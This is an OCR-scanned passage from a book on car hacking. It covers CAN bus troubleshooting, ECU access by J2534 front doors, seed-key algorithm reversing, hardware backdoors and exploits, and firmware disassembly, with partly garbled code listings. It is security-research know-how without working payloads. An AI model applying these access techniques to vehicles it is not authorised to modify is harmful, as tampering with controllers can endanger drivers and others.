bus network, things can go wrong. Here are a few common problems and
solutions.

Flashing IC Lights

It’s common for the IC lights to flash when sending packets to the CAN
bus, and you can usually reset them by restarting the vehicle. If



restarting the vehicle still doesn’t fix the lights, try disconnecting and
reconnecting the battery. If that still doesn’t fix the problem, make sure

that your battery is properly charged since a low battery can also make
the IC lights flash.

Car Not Turning On

If your car shuts off and won’t turn back on, it’s usually because you've
drained the battery by working with the CAN bus while the car is not
fully running. This can drain a battery much faster than you might
think. To restart it, jump the vehicle with a spare battery.

If you’ve tried jumping the vehicle and it still won’t turn on, you may
need to pull a fuse and plug it back in to restart the car. Locate the
engine fuses in the car’s manual and begin by pulling the ones you most
suspect are the culprits. The fuse probably isn’t blown, so just pull it out
and put it back in to force the problem device to restart. The fuses you
choose to pull will depend on your type of vehicle, but if your engine
isn’t starting, you will want to locate major components to disconnect
and check. Look for main fuses around major electronics. The fuses that
control the headlamps probably are not the culprits. Use a process of
elimination to determine the device that is causing the issue.

Car Not Turning Off

You might find that you’re unable to shut the car down. This is a bad,
but fortunately rare, situation. First, check that you aren’t flooding the
CAN bus with traffic; if you are, stop and disconnect from the CAN
bus. If you're already disconnected from the CAN bus and your car still
won’t turn off, you’ll need to start pulling fuses until it does.

Vehicle Responding Recklessly

This will only occur if you're injecting packets in a moving vehicle,
which is a terrible idea and should never be done! If you must audit a
vehicle while it’s wheels are moving, raise it off the ground or on
rollers.

Bricking
Reverse engineering the CAN bus should never result in bricking—that
is, breaking the vehicle so completely that it can do nothing. To brick a



vehicle, you would need to mess around with the firmware, which
would put the vehicle or component out of warranty and is done at your
own risk.

Summary

In this chapter, you learned how to identify CAN wires from the jumble of
wires under the dash, and how to use tools like cansni ffer and Kayak to sniff
traffic and identify what the different packets were doing. You also learned
how to group CAN traffic to make changes easier to identify than they
would be when using more traditional packet-sniffing tools, such as

Wireshark.
You should now be able to look at CAN traffic and identify changing

packets. Once you identify these packets, you can write programs to transmit
them, create files for Kayak to define them, or create translators for
OpenXC to make it easy to use dongles to interact with your vehicle. You
now have all the tools you need to identify and control the components of
your vehicle that run on CAN.



6
ECU HACKING

by Dave Blundell

A vehicle typically has as many as a dozen or more electronic controllers,
many of which are networked to communicate with each other. These
computerized devices go by many different names, including electronic control
unit or engine control unit (ECU), transmission control unit (1TCU), or
transmission control module (TCM).

While these terms may have specific meanings in a formal setting, similar
terms are often used interchangeably in practice. What may be a TCU to
one manufacturer is a TCM to another, yet both electronic controllers
perform the same or extremely similar functions.

Most automotive control modules have measures in place to prevent you
from altering their code and operation; these range from very strong to
laughably weak. You won’t know what you’re dealing with until you
investigate a particular system. In this chapter, we’ll take a closer look at
particular security mechanisms, but first we’ll examine strategies for gaining
access to these systems. Then in Chapter 8 we’ll look at some more specific
ECU hacks, like glitch attacks and debugging. The attack vectors for ECUs

fall into three different classes:



Front door attacks Commandeering the access mechanism of the
original equipment manufacturer (OEM)

Backdoor attacks Applying more traditional hardware-hacking
approaches

Exploits Discovering unintentional access mechanisms

We'll look at an overview of these attack classes, and then analyze the
data you find. It’s worth remembering that while the goal for ECU and
other control module hacking is often the same—to gain access in order to
reprogram and change behavior—it’s unlikely there’ll be a “master key” for
all controllers. However, OEMs are generally not very creative and seldom
change their ways, so insight into one controller likely applies to similar
models from the same manufacturer. Also, few of today’s auto manufacturers
develop their own automotive computers from scratch, instead licensing
prefabricated solutions from third parties like Denso, Bosch, Continental,
and others. Because of this design methodology, it’s relatively common to
see vehicles from different auto manufacturers using very similar computer
systems sourced from the same vendors.

Front Door Attacks

The OBD-II standard mandates that you be able to reprogram vehicles
through the OBD-II connector, and reverse engineering the original
method for programming is a guaranteed attack vector. We’ll examine J2534
and KWP2000 as examples of common protocols for programming.

12534: The Standardized Vehicle Communication API

The SAE J2534-1 standard, or simply 72534, was developed to promote
interoperability among digital tool vendors through the use of the J2534
API, which outlines the recommended way for Microsoft Windows to
communicate with a vehicle. (You can purchase the J2534 API from the SAE
at bttp://standards.sae.org/j2534/1_200412/.) Prior to the adoption of the
J2534 standard, each software vendor created its own proprietary hardware
and drivers for communicating with a vehicle in order to perform
computerized repairs. Because these proprietary tools weren’t always
available to smaller shops, the EPA mandated the adoption of the J2534
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standard in 2004 to allow independent shops access to the same specialized
computer tools used by dealerships. J2534 introduced a series of DLLs that
map standard APIT calls to instructions necessary to communicate with a
vehicle, thereby allowing multiple manufacturers to release software
designed to work with J2534-compatible hardware.

Using 12534 Tools

J2534 tools provide a convenient way to observe OEM tools interacting with
vehicle computers. Manufacturers often leverage J2534 to update computer
firmware and sometimes to provide powerful diagnostic software. By
observing and capturing information exchanged with a vehicle using J2534,
you can see how OEMs perform certain tasks, which may provide you with
information that you need to unlock the “front door.”

When using J2534 tools to attack vehicle systems, the basic idea is to
observe, record, analyze, and extend functionality. Of course, the first step is
to obtain and configure a J2534 application and its corresponding interface
hardware in order to perform a task you want to observe. Once you have
your setup, the next step is to observe and record communications with the
target while using the J2534 tools to perform an action on the target, like
updating a configuration parameter.

There are two primary ways to observe J2534 transactions: by watching
J2534 API calls on a PC using J2534 shim DLLs or by watching actual bus
traffic using a separate sniffer tool to capture data.

J2534 tools are key to eavesdropping on the protocols built into the
factory embedded vehicle systems, and they’re one of the primary ways to
attack the front door. Successful analysis of this communication will give you
the knowledge you need to access vehicle systems the way the OEMs do. It’ll
also allow you to write applications with full access to read and reprogram
systems, which will in turn enable you to communicate directly with a
vehicle without having to use the J2534 interface or the OEM’s J2534
software.

J2534 Shim DLLs

The J2534 shim is a software J2534 interface that connects to a physical
J2534 interface and then passes along and logs all commands that it receives.



This dummy interface is a kind of man-in-the-middle attack that allows you
to record all APT calls between the J2534 application and the target. You can
then examine the log of commands to determine the actual data exchanged
between the J2534 interface and the device.

To find an open source J2534 shim, search code.google.com for F2534-
logger. You should also be able to find precompiled binaries.

J2534 with a Sniffer

You can also use J2534 to generate interesting traffic that you can then
observe and record with a third party sniffer. There’s no magic here: this is
just an excellent example of how to generate juicy packets that might
otherwise be difficult to capture. (See Chapter 5 for more information on
monitoring network traffic.)

KWP2000 and Other Earlier Protocols

Before J2534, there were many flash-programmable ECUs and other control
units, such as the Keyword Protocol 2000 (KWP2000 or ISO14230). From
an OSI networking perspective, it’s primarily an application protocol. It can
be used on top of CAN or ISO9141 as the physical layer. You’ll find a huge
number of KWP2000 flasher tools that interface with a PC using a serial/
USB-serial interface and that support diagnostics and flashing using this
protocol just by searching online. (For more on the Keyword Protocol 2000,
see Chapter 2.)

Capitalizing on Front Door Approaches: Seed-Key
Algorithms

Now that we’ve discussed how legitimate tools use the front door, it’s time
to capitalize on this attack vector by learning how to operate the figurative
“lock on the gate.” To do this, we must understand the algorithm that the
embedded controller uses to authenticate valid users; this is almost always a
seed-key algorithm. Seed-key algorithms usually generate a pseudorandom
seed and expect a particular response, or key, for each seed before allowing
access. A typical valid exchange could look something like this:

ECU seed: 01 C3 45 22 84
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Tool key: 02 3C 54 22 48

or this:

ECU seed: 04 57
Tool key: 05 58

Unfortunately, there’s no standard seed-key algorithm. You might have a
16-bit seed and 16-bit key, a 32-bit seed and 16-bit key, or a 32-bit seed and
32-bit key. The algorithm that generates a key from a given seed also varies
from platform to platform. Most algorithms are a combination of simple
arithmetic operations and one or more values used as part of the
computation. There are several techniques for figuring out these algorithms
in order to give you access to the ECU:

* Obtain the firmware for the device in question through other means.
Disassemble it and analyze the embedded code to find the code responsible
for generating seed-key pairs.

* Obtain a legitimate software tool—for example, J2534 reflash software—
that’s capable of generating legitimate seed-key pairs, and analyze the PC
application code with a disassembler to determine the algorithm used.

* Observe a legitimate tool exchanging keys, and analyze the pairs for
patterns.

* Create a device to spoof a legitimate tool into providing responses
repeatedly. The main advantage of this method over purely passive
observation is that it allows you to pick seeds for which you can reproduce
the keys.

You can find more information about reverse engineering the seed-key
algorithms used by General Motors at
http://pcmbacking.net/forums/viewtopic.php?f=4&t=1566&start=10, and those
used by VAG MEDO.1 at http://nefariousmotorsports.com/forum/index.php?
topic=4983.0.

Backdoor Attacks

Sometimes front door attacks are too tricky; you may not have the right
tools or the lock might be too hard to figure out. Don’t despair—remember
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that automotive control modules are embedded systems, so you can use all
the usual hardware-hacking approaches. In fact, using more direct-to-
hardware backdoor approaches often makes more sense than trying to
reverse engineer the front door lock placed by the factory, especially when
trying to reprogram engine modules. If you can obtain a dump of the
module, you can often disassemble and analyze it to figure out how the keys
to the front door work. The first step in a hardware backdoor attack is
analyzing the circuit board.

When reversing a circuit board of any system, you should start with the
largest chips first. These larger processor and memory chips are likely to be
the most complex. It’s a good idea to make a list of part numbers to feed to
Google, datasheet.com, or something similar, to obtain a copy of the data
sheet. You’ll sometimes encounter custom application-specific integrated
circuits (ASICs) and one-off chips, especially with older ECUs, which will
prove more difficult than off-the-shelf parts. In many cases, you’ll have to
infer the function of these parts based on how they’re connected to
identifiable parts.

It’s critical to look out for memory chips—SRAM, EEPROM,
FlashROM, one-time-programmable ROM, serial EEPROM, serial flash,
NVSRAM, and so on. The type of memory used varies immensely from one
platform to another; every single variety listed here has been found in the
wild. Newer designs are less likely to have parallel memories and more likely
to have serial chips. Newer microcontrollers are less likely to have any
external memories at all, as their internal flash capacities have dramatically
increased. Any nonvolatile memory chip present can be removed from the
circuit board, read, and then replaced. Chapter 8 goes into much more detail
on reverse engineering the circuit board.

Exploits

Although arguably just another example of a backdoor approach, exploits
deserve special attention. Rather than taking apart a computer, exploits
involve feeding a system carefully crafted inputs to make it do things outside
normal operation. Typically, exploits build on a bug or problem. This bug
might cause a system to crash, reboot, or perform some undesirable behavior
from the perspective of the vehicle user. Some of these bugs present the
opportunity for buffer overflow attacks, which open the door for
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commandeering the vulnerable device merely by feeding it unexpected
inputs. A cleverly crafted set of inputs triggers the bug, which then makes
the device execute arbitrary code provided by the attacker instead of
triggering the usual fault condition.

Not all bugs can be turned into exploits, however—some bugs only cause
problems or shut down core systems. And while bugs are usually discovered
by accident, most exploits require careful craft. It is unlikely that you’d be
able to turn a known bug into an exploit without also having prior
knowledge of the system, usually gained from firmware analysis. At a bare
minimum, you’d need basic knowledge of the architecture in order to write
the necessary code. Most of the time, this knowledge needs to be gathered
through research prior to writing an exploit.

It’s hard to find bugs that make suitable attack vectors and it’s often just
as difficult to write exploits for them, so exploits that build on bugs are fairly
uncommon. While it is foolish to discount the relevance of exploits, the
other methods presented here and in Chapter 8 are much more practical
paths to understanding and reprogramming automotive systems in most
cases.

Reversing Automotive Firmware

Hacking into an automotive control module far enough to retrieve its
current firmware and configuration is really just the beginning of the
adventure. At this point, you probably have anywhere from 4KB to 4MB of
raw machine-ready code, with a mixture of various parameters and actual
code that forms the program the processor will run. Let’s say you have a
binary blob in the firmware from one of the hacks in this chapter or the
chapters later in this book. Next you need to disassemble the binary.

First, you must know which chip this binary is for. There are several free
decompilers for different chips out on the Internet. Otherwise you can drop
some cash and buy IDA Pro, which supports a large variety of chips. These
tools will convert the hex values in the binary into assembler instructions.
The next stage is to figure out what exactly you are looking at.

When you’re starting to analyze raw data, a high-level understanding of
the function of the devices you're reverse engineering will be key to knowing
what to look for. You can follow a number of breadcrumbs, or clues, for



starters; these breadcrumbs are almost guaranteed to lead you to interesting
and useful material. Next, we’ll look at a few specific examples of how to use
common automotive controller functions to gain insight into their
operation, which will hopefully allow us to change their behavior.

Self-Diagnostic System

Every engine controller has some type of self-diagnostic system that typically
monitors most critical engine functions, and analyzing this is an excellent
route to understanding firmware. A good first step in investigative
disassembly is to identify the location of these procedures. This will provide
you with insight into the memory locations involved in all of the sensors and
functions that are checked for errors. Any modern vehicle should support
OBD-II packets, which standardize the diagnostic data reported. Even
controllers created prior to OBD-II standards have a way to report faults.
Some have a system where an analog input is shorted to ground and either
an internal LED or the “check engine” light flashes out the code. For
example, knowing that code 10 refers to a failed intake air temperature
sensor means you can find the piece of code that sets error code 10 to help
you identify the internal variables associated with the air temperature sensor.

For more detailed information on using diagnostics, see Chapter 4.

Library Procedures

Being able to change the behavior of a control unit is often one of the
primary goals of reverse engineering ECU firmware, and identifying data
used by a controller is an important step in the process. Most ECUs have a
set of library functions used for routine tasks throughout the code. Library
functions used for table lookups are worth identifying early on in the reverse
engineering process, as these can lead straight to the parameters you’re
interested in. Each time a table is used, a function is called to fetch a result.
Calls to this type of function are among the most frequent, making them
easy to spot.

Usually each type of data stored within the ECU—one-dimensional array
of bytes; two-dimensional array of words; three-dimensional array of
unsigned, signed, and float shorts; and so on—has a unique reference
function. When called, each table lookup routine needs to be passed, at a



minimum, the table index (or start address) and the axis variables. Often,
table lookup routines can be reused to pass information about the structure
of the table, such as how many rows and columns are present.

Calibration data is usually stored in program memory, along with the
routines accessing them. Microcontrollers typically have special instructions
to access program memory, which provide a unique signature to search for
and make table lookup routines particularly easy to spot. A secondary
characteristic of these lookup routines is that they tend to have lots of
interpolation math. In addition, table lookup routines are often grouped
closely together in program memory, making it even easier to find others
after you’ve found one. After identifying reference routines, searching for all
calls to them can provide a key to identifying the vast majority of data used
by the controller to make decisions. The arguments passed to these
functions typically include the start address of a table, its structure or shape,
and which variables index elements of the table. Armed with this
information, you’re much closer to being able to change the behavior of the
controller.

Finding Known Tables

One way to identify tables is to leverage the specific physical and electrical
characteristics of vehicle sensors, which will display identifiable
characteristics within ECU firmware. For example, an ECU with a MAF
sensor will have a table that translates raw readings of voltage or frequency
from the MAF into airflow into the engine, providing an internal
representation.

Fortunately for us, the signal output from an MAF is determined by
physics—that is, King’s Law—so the curve will always have a characteristic
shape, though it’ll be slightly different for each sensor. This will result in the
tables having a characteristic set of values that can be observed in the ROM.
Armed with the knowledge that there will be universal data to identify, let’s
take a closer look at how calibration data is displayed in different programs.

Figures 6-1 and 6-2 show similarly shaped Ford and Nissan sensor curves;
the similarity they illustrate extends to multiple manufacturers.
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Figure 6-2: Nissan MAF VQ graph



Figures 6-2 through 6-6 show five different views of the same data.
Figure 6-3 shows how the VQ curve pictured in Figure 6-2 would look in a
hex editor.
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Figure 6-3: VQ table in HxD hex editor: 128 bytes or 64- to 16-bit words

Figures 6-4 and 6-5 show the VQ table in analyze.exe available from
https://github.com/blundar/analyze.exe/. A simple visualization tool, analyze.exe
colors cells based on their numeric value. You can select the precision of the
data—for example, 1 = 8-bit byte, 2 = 16-bit word, and 4 = 32-bit long—and
how many rows and columns you want present. This simple visual
arrangement often makes it easier to identify what is code and what is data
than it is when you’re using a hex editor, as in Figure 6-3.
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Figure 6-4: VQ table in analyze.exe: values from 48 to 65535 in first four
rows of 16x16-bit values
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Figure 6-5: First four rows of 16x16-bit values

Look again at the first four rows of 16x16-bit values in Figures 6-4 and 6-
5 shaded in analyze.exe. Notice how the smooth nonlinear curve in Figures
6-1 and 6-2 mimics the smooth nonlinear progression of values. Figure 6-6
shows the same values in a 64-column layout, so you can see the full gradient
of the first four rows from Figure 6-5. No matter what type of vehicle you’re
looking at, the overall data structures will be similar.

By Analyzer - T:\_Tunes\Nissan\tunes\Arteno S14\final-soft7400.bin
FEichier

Figure 6-6: 64- to 16-bit words per row

Data visualization tools like hex editors or analyze.exe can also be useful
when you don’t know the exact shape or pattern you are looking for. No
matter what type of vehicle you’re looking at, data structures will have orders
and patterns that are not typically seen in executable code. Figure 6-7 shows
an example of the clear visual pattern of data in analyze.exe—gradually
changing values and repetition should stand out.
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Figure 6-/: Patterns and gradual changes in table data appear in a 2002

Chevrolet Camaro ROM visualized with analyze.exe

On the other hand, when you look at code like that in Figure 6-8, there is
a more random, chaotic appearance. (In Figures 6-7 and 6-8, precision is set

to 2 because the microcontroller unit used is a 16-bit processor and it’s

reasonable to assume that a good chunk of the data items will be 16-bit as

well.)
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Figure 6-8: This random code doesn’t have the neat, orderly patterns that
are present in most tables.

More to Learn from the MCU

Hopefully, these examples help connect knowledge of the table data you
expect to find with their representation within a binary blob. Learning the
capabilities of the microcontroller unit (MCU) used in a target system can
shed light on the types of data to expect when looking over the binary data.

Generally, data representation formats are dictated by the hardware
present. Knowing the size of registers on the MCU running the show can be
a big help for identifying parameters. Most parameters tend to be the same
size as or smaller than the registers of a given MCU. An 8-bit MCU, like a
68HC11, is likely to have lots of 8-bit data. It’s unusual to see mostly 4-byte,
or 32-bit, unsigned long integers on an 8-bit MCU. While 16-bit data
becomes more common on MCU s like the 68332, 32-bit data becomes the
norm with MPC5xx Power Architecture MCUs and so on. It’s unusual to
find floating-point data on an MCU that lacks a floating-point processor.

Comparing Bytes to ldentify Parameters



It’s often possible to get multiple bins that’ll run on the same physical ECU.
The more the better! Doing a simple compare in a hex editor will show
which bytes differ between the files. It’s common—but not guaranteed—for
code to remain unchanged while parameters change. If less than 5 percent of
the files differ, it’s generally safe to assume that the differences are
parameters. If you know what’s been changed functionally between the two
bins and you know which bytes have changed, you have further clues to help
correlate changes in the ROM with changes in parameters.

Figures 6-9 and 6-10 compare a 1996 V8 Mustang and a 1997 V6
Thunderbird, showing 6,667 differences out of 114,688 bytes. This is an
extreme example of having the same code with different parameters, but
there’s still only about a 5.8 percent difference compared to overall file size.

Most processors use an interrupt vector table defined by the processor
being used. Referencing the processor’s data sheet will define the structure
of interrupt routines, allowing you to quickly identify the interrupt handlers.
Tracing interrupt pins on the processor to circuitry within the ECU to pins
you can reference in a vehicle wiring diagram can help you identify code
blocks used to service such hardware functions as fuel and spark control,
crank and cam signal processing, and idle functions.
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Figure 6-9: Comparison of a 1996 V8 Mustang (DXE2.bin) and a 1997
V6 Thunderbird (SPP3.bin)
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Figure 6-10: File compare function of the HxD hex editor

Identifying ROM Data with WinOLS

WinOLS is a popular commercial program for modifying bins. It combines
a series of tools for calculating and updating checksums within a ROM with
a set of tools for identifying tables. Figures 6-11 and 6-12 illustrate WinOLS

in use.



If the ROM type is known, it has many templates that automatically
identify configuration parameters. Most of the known built-in ROM types
are geared toward Bosch Motronic ECUs. Templates and configurations can
be saved, shared, and sold to enable users to make modifications to specific
files with greater ease. WinOLS is arguably the most common software used
for identifying interesting data within a ROM that doesn’t involve code
analysis. It’s designed to facilitate rapid tuning changes to a controller.
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Figure 6-12: WinOLS being used on a 2006 Vo/kswagen 2.0Tsi ECU

Code Analysis

Code analysis can be a long, complicated task. If you’re starting from
scratch, with no experience, it will likely take hundreds of hours to analyze a
complex piece of code. Modern control units often have upward of a
megabyte or two of code, which is a huge amount of code when you’re
looking at it in assembly. An ECU from 1995 with 32 kilobytes (not
megabytes) of code will have upward of 10,000 assembly instructions to sort
out. Bottom line: do not underestimate how much work this approach will
take. I'll briefly introduce a few tools, but I don’t have the space to address
the topic in sufficient depth for someone unfamiliar with the process. (After
all, entire books have been written solely on code analysis.) Here, I’ll just
talk through specific tools and methods particularly applicable to automotive
embedded systems.

When analyzing a new target, first identify the architecture you’re
working with. Knowing what processor executed the blob of binary will help
you choose an appropriate software tool to further assist. If you can’t identify
a processor based on the markings on the chip itself, search online for data
sheets to identify it.



To analyze code, you might need to find a disassembler. A quick Google
search reveals that there are lots of them out there. Some target a single
architecture—for example, Dis51—and some are custom-written for
automotive reverse engineering—for example, Dis66k. Others, like CATS
dasm, IDA Pro, Hopper, dasmx, and objdump from the GNU Binary
Utilities (binutils), target multiple processors. IDA Pro supports more
embedded targets than just about any other program, but it’s also one of the
most expensive disassemblers. GNU binutils also supports a pretty wide
range of architectures, but the version included on most systems will be built
only for the “native” architecture. Rebuilding binutils with all architectures
enabled will open a few doors. Your budget and supported processors will
determine which disassemblers are an option.

Bust out the disassembly tools and start trying to make sense of the mess,
but as I warned earlier, this might take hundreds of hours. A divide-and-
conquer mentality works best—focus on the smaller tasks rather than the
project as a whole. If you obtained the binary by backdoor methods, you
probably already took the ECU apart to identify the processor. If you
cracked the J2534 programming routines, you might not have a clue what
processor is running the show. In this case, you’re going to need to keep
running it through a disassembler over and over using different settings until
you get something that makes sense.

You're looking for assembly code that disassembles cleanly, meaning that
it looks like it makes logical sense. If you disassemble a binary for the wrong
architecture or using the wrong settings, you’ll still see assembly
instructions, but the assembler actions won’t make sense. Disassembly is a
bit of an art, and it may take a little practice at seeing a “clean” assembler to
get the hang of identifying when a dissassembler is providing the correct
response, especially when nonexecutable tables and data are scattered among
the code.

Here are some hints for making sense of disassembled code:

* OEMs love to patent stuff. If you can find the patents relevant to your
system, you may end up with a guided tour of the code being disassembled.
This is probably the most consistently available high-level procedural
guide to help you understand the logic in an automotive computer. Patents
usually lead production by at least one to two years, if not more.



* Look at any available software for manipulating the ECU at hand for
insight into the structure and purpose of code segments. You can often
infer a model of behavior from tables available to be modified in
aftermarket software.

* Otherwise, start with a wiring diagram for the vehicle, and trace
connections back through ECU circuitry to particular pins on the MCU.
This should tell you which piece of MCU hardware handles which
function. Cross reference the interrupt tables, or look for calls to service
particular pieces of hardware in order to identify which piece(s) of code
service that hardware function.

A plain, or old-style, disassembler will output very verbose text. Each
individual instruction is parsed. Some disassemblers will attempt to mark
areas referenced as data and void disassembling them. Other disassemblers
need to be specifically told which areas are code and which areas are data.

A Plain Disassembler at Work

To see disassembly in action, we’ll look at a plain disassembly of a 1990
Nissan 300ZX Twin Turbo ROM. This ECU has a 28-pin external 27C256
EPROM,; so it’s relatively easy to obtain its contents. This particular
platform uses a HD6303 MCU, a derivative of the Motorola 6800 8-bit
MCU that appears to be supported by the free disassembler DASMx (see
http://www. 16paws.com/ECU/DASMxx/DASMzx.btm). DASMx comes with
minimal instructions: to disassemble foo.bin, create a file, foo.sym, that
describes which platform is in use, and then create an entry point in memory
to place the image, symbols you know about, and so on. Time for a crash
course in the architecture!

A critical point about the memory structure is that the MCU can address
65535 bytes (64KB). This information tells you what to expect when looking
at the addresses in your binary blob. Further reading suggests that the
interrupt vector table lies at the end of addressable memory, with the reset
vector—where every processor starts after a reset—at OxFFFE/OxFFFF.
Assuming that the 32KB (0x7FFF hex) binary blob we have from reading the
EPROM contains the interrupt vector table, we can figure out that the

binary image needs to start at memory address 0x8000 for it to end at
OxFFFF (OxFFFF — 0x7FFF = 0x8000). It also helps to search online to see


http://www.16paws.com/ECU/DASMxx/DASMx.htm

whether others are trying to do something similar. For example, the post at
http://forum.nistune.com/viewtopic.php?f=2&t=417 is for a smaller 16KB binary
based on settings for a 0xCO000 entry point. The more legwork and research
you do prior to actually invoking a disassembler, the more likely you are to
get reasonable results.

Figure 6-13 shows the symbol table for the 300ZX binary. Next to each
symbol is the memory address used by the firmware. These memory
addresses can hold values such as incoming data from different physical pins
on the chip or internal information, like timing.
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Figure 6-13: Symbol file for 32KB 300ZX binary disassembly with DASMx
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We'll use DASMx to disassemble the binary. As shown in Figure 6-14,
DASMx reports a Hitachi 6303 MCU with a source file length, or size, of
32KB, which is 32768 bytes.

-

BEA C\Windows\system32\cmd.exe = - ] @
intmphdasmxl4@>dasmx 300zx_tt.bin -

DASHx ohject code disassembler

(c?) Copyright 1976-2003 Conguest Consultants
ersion 1.48 (Oct 18 2883>

PU: Hitachi 6383 (63816383 family>)

Source fFile length: 32768 bytes

Figure 6-14: Running DASMXx to disassemble 32KB 300ZX binary

Now cross your fingers and hope for a meaningful result!

The result is the vector table shown in Figure 6-15, which looks sane
enough: all addresses are above the 0x8000 entry point specified. Notice that

the reset vector (OxFFFE, res-vector) has a pointer to the RESET_entry at
0xBE6D.

F
| 300=zx_tt.Ist - Notepad
File Edit Format View Help
FFEA : B4 18 "o dw IRQ2_entry
FFEC CMITmr_vector:
FFEC : DB E8 o dw TRAP_entry
FFEE TRAP_vector:
FFEE : DB ES8 R dw TRAP_entry
FFFO SIO_vector:
FFFO : A8 80 o dw SIO_entry
FFF2 TOITmr_vector:
FFF2 : DB D2 =S dw TOItmr_entry
FFF4 oCItmr_vector:
FFF4 : DB D1 = dw OoCItmr_entry
FFFG ICITtTmr_vector:
FFF6 : 85 2A L dw ICItmr_entry
FFF8 IRQl_vector:
FFF8 : 83 2D "o dw IRQl_entry
FFFA SWI_vector:
FFFA : DB E8 L dw TRAP_entry
FFFC NMI_vector:
FFFC : DB F3 e dw NMI_entry
FFFE RES_vector.:
FFFE : BE 6D " m" dw RESET_entry




Figure 6-15: Disassembled vector table

We can disassemble the code at 0xBE6D for the reset vector, which is
also the entry point for code. In Figure 6-16, we see a routine, RESET_entry,
that looks like it wipes a chunk of RAM. This is a plausible part of the initial
reset sequence because often when booting, firmware will initialize the data
region to all Os.

o
| 300z¢_tt.Ist - Notepad
File Edit Format View Help
BE6D w
BE6GD : CE 00 40 il X #%0040
BE70 : 4F i 1 clra
BE71l : 5F Wiy clrb
BE72 LBE72:
BE72 : ED 00 "o std $00,x
BE74 : 08 " inx
BE75 : 08 o inx
BE76 : 8C 01 40 "ooa" cpx #3$0140
BE79 : 26 F7 "& " bne LBE72
BE/BE : CE 14 00 = e ldx #$1400
BE7E : 4F "o" clra
BE7F : SF o clrb
BESO LBESBO:
BESO : ED 00 > . std $00,x
BE82 : 08 il inx
BE83 : 08 " inx
BE84 : 8C 16 40 "o cpx #$1640

Figure 6-16: Reset vector disassembly

We've taken this example as far as obtaining a disassembled binary image
and looking for basic sanity. Now, for the hard part: following the code,
breaking it into routines, and trying to figure out how it works.

Interactive Disassemblers

As of this writing, IDA Pro is the most popular interactive disassembler
available. It performs the same tasks as the simple disassembler just
discussed, and more. Specifically, IDA Pro names registers and variables;
once IDA Pro identifies and names a variable, or memory address—for
instance, $FC50-RPM—it gives all references to that variable within the
code a descriptive name rather than a less-recognizable plain hex address.



IDA Pro also graphs code to visualize program flow.

One of the advantages of IDA Pro is that it’s programmable to allow
additional opcodes for customizing automotive processors and plugins for
further processing disassembled code (for example, decompiling assembly
into higher language code); it also lets you use structs, unions, classes, and
other user-defined data types.

Lastly, IDA Pro supports more embedded platforms out of the box than
just about any other disassembler currently available.

You don’t necessarily need these functions to successfully analyze code,
but they make things substantially easier. Figures 6-17 and 6-18 are
screenshots from real code analysis with IDA Pro. Thanks to Matt Wallace
for graciously posting these examples in a public forum.

The user in Figure 6-18 obtained Acura NSX ECU firmware through a
combination of hardware-hacking approaches, took the code apart, analyzed
it using IDA Pro, and rewrote it. Next, the user determined the necessary
functions to log data from the ECU and alter its operation. The result
allowed the user to use forced induction—that is, turbochargers and
superchargers—with a factory computer; this would have been impossible
without ECU modification.
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Figure 6-17: IDA diagram showing a custom-written routine for NVRAM
real-time programming



EAH Ll

BOOTO7_Testinjectorbutputs: * ncar

Indzfa_ = r2
Patra_ = ro
clr.b  Pntrd t Hake zero

mow:i.uw HIDCOB2 FUEL CYL1 PULSEWIDTH:16, IndxA

Jlit

t Indxn_Base

BN L

loc_BSE3:
clr.b  r1i
movtpe b ri, @(0:5,Indxh_) ! MSB
mowtpe.b r1, @(1:%,IndxA_) * LSE
mov:i.w ROz16, fp ! Mowe data

5

* Make zero

BN
loc_D&FD: t Control loop
scb/f  Fp, loc R6F0:8
o
Hid
mov:i.w $u:10, r1 * Excite Fuel Injector Outputs
swap.b 1 * Swap
movtpe.b r1, @(0:5,IndxA_) * HSB
swap.b r1 ¢ Suap
movtpe.b r1, @(1:8,Indzh_}) * LSB
mov:i.w B/:16, Fp ! Hove data

L*
R

loc_0765:
scb/f  Fp, loc_@Fo5:8
e

! Control ll:lnp

BN
movufpe.b BCO10_TOCONT_INCurCylFuel OUTlacuPw:16, r1 * CurCylFuel
btst.b Potra_, ri t Verify Injector Output Excited

beq LINP MODE:16 t Branch if Equal (2 = 1)
BN
mow:zi.w BixEz16, Fp * Howe data
L*
BANIL
loc_0715%: * Control loop|
sch/f  Fp, loc_@F15:8
EA NI

unufpe‘h [l:llm_mcilll'l_lI{CurﬂylFupI_ﬂLl‘l’la:uPu:ﬂ-, 1 1 EurCylFuel
btst.b Potra_, ri f Verify Injector Dutput Excited
bne LINP MODE:16 t Branch if Mot Equal (2 = @)

.

B M

addzq.b ¥1, Pntra_
addzq.w #2, IndxA_
chpze.b #4:8, Patra_
bes loc_DGE3:8

Increment Pointer
Increment Index
Loop Threshold
Branch if LOVER

i |

¥

BN

cmp:e.b W7:8, Patrd_

t EndLoop Threshold

mov:i.w HIOCONT _COOQ FUEL_ALLGENRICH?: 16, Indxh_ ' Houve data

bCs loc DGE3:B * Branch if LOUER
L
¥
Ml
rts ¥ Return From subroutine (same page)

* End of Function BOOTOZ_Testinjectordutputs

Figure 6-18: IDA diagram of code for checking fuel injectors on NSX ECU




Summary

Because hacking on the ECU often involves processors that are smaller than
those used in more powerful modern devices, such as cell phones, the tools
used for reversing the firmware differ for each target. By using a
combination of techniques, such as data visualization to locate tables, and by
reversing the firmware directly, you can identify the areas you’re interested
in modifying. The methods discussed in this chapter are techniques
commonly used by performance tuners to adjust how a vehicle handles fuel
efficiency. All can be used to unlock features hidden in the code of your
vehicle. We'll look at performance tuning in more detail in Chapter 13.
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BUILDING AND USING ECU TEST BENCHES

An ECU test bench, like the one shown in Figure 7-1, consists of an ECU, a
power supply, an optional power switch, and an OBD-II connector. You can
also add an IC or other CAN-related systems for testing, but just building a
basic ECU test bench is a great way to learn the CAN bus and how to create
custom tools. In this chapter, we’ll walk step by step through the process of
building a test bench for development and testing.

The Basic ECU Test Bench

The most basic test bench is the device that you want to target and a power
supply. When you give an ECU the proper amount of power, you can start
performing tests on its inputs and communications. For example, Figure 7-1
shows a basic test bench containing a PC power supply and an ECU.
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Figure 7-1: A simple ECU test bench

However, you’ll often want to at least add some components or ports to
make the test bench easier to use and operate. To make it easier to turn the
device on and off, you can add a switch to the power supply. An OBD port
allows for specialized mechanics tools to communicate with the vehicle’s
network. In order for that OBD port to fully function, we need to expose the
vehicle’s network wires from the ECU to the OBD port.

Finding an ECU
One place to find an ECU is, of course, at the junkyard. You'll typically find

the ECU behind a car’s radio in the center console or behind the glove box.
If you’re having trouble finding it, try using the massive wiring harness to
trace back to the ECU. When pulling one out yourself (it should cost only
about $150), be sure to pull it from a vehicle that supports CAN. You can
